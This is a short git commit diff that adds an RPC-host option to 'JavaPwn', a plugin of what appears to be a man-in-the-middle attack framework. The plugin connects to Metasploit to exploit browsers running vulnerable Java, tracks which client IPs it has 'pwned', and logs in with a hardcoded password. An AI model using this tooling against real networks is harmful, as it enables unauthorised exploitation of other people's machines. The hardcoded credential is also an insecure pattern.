added rpcip argument to javapwn

This commit is contained in:
byt3bl33d3r 2014-07-18 01:27:05 +02:00
parent 9487a8b5c8
commit a60a199e59

View file

@ -22,6 +22,7 @@ class JavaPwn(BrowserProfiler, Plugin):
self.options = options
self.msfip = options.msfip
self.msfport = options.msfport
self.rpcip = options.rpcip
if not self.msfip:
sys.exit('[-] JavaPwn plugin requires --msfip')
@ -36,7 +37,7 @@ class JavaPwn(BrowserProfiler, Plugin):
self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit
try:
msf = msfrpc.Msfrpc({}) #create an instance of msfrpc libarary
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', 'abc123')
version = msf.call('core.version')['version']
print "[*] Succesfully connected to Metasploit v%s" % version
@ -165,6 +166,7 @@ class JavaPwn(BrowserProfiler, Plugin):
def add_options(self, options):
options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
def finish(self):
'''This will be called when shutting down'''